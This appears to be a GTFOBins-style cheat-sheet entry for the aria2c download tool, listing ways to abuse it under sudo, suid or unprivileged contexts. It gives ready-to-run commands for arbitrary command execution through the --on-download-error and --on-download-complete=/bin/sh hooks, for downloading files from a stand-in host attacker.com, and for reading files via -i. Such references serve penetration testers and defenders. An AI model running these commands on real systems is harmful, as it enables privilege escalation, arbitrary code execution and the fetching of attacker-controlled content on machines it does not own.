aria2c

Command Execution

Context: sudo, suid, unprivileged

echo /path/to/command >/path/to/temp-file
chmod +x /path/to/temp-file
aria2c --on-download-error=/path/to/temp-file http://some-invalid-domain

Context: sudo, suid, unprivileged

aria2c --allow-overwrite --gid=aaaaaaaaaaaaaaaa --on-download-complete=/bin/sh http://attacker.com/aaaaaaaaaaaaaaaa

Download

Context: sudo, suid, unprivileged

aria2c -o /path/to/ouput-file http://attacker.com/path/to/input-file

File Read

Context: sudo, suid, unprivileged

aria2c -i /path/to/input-file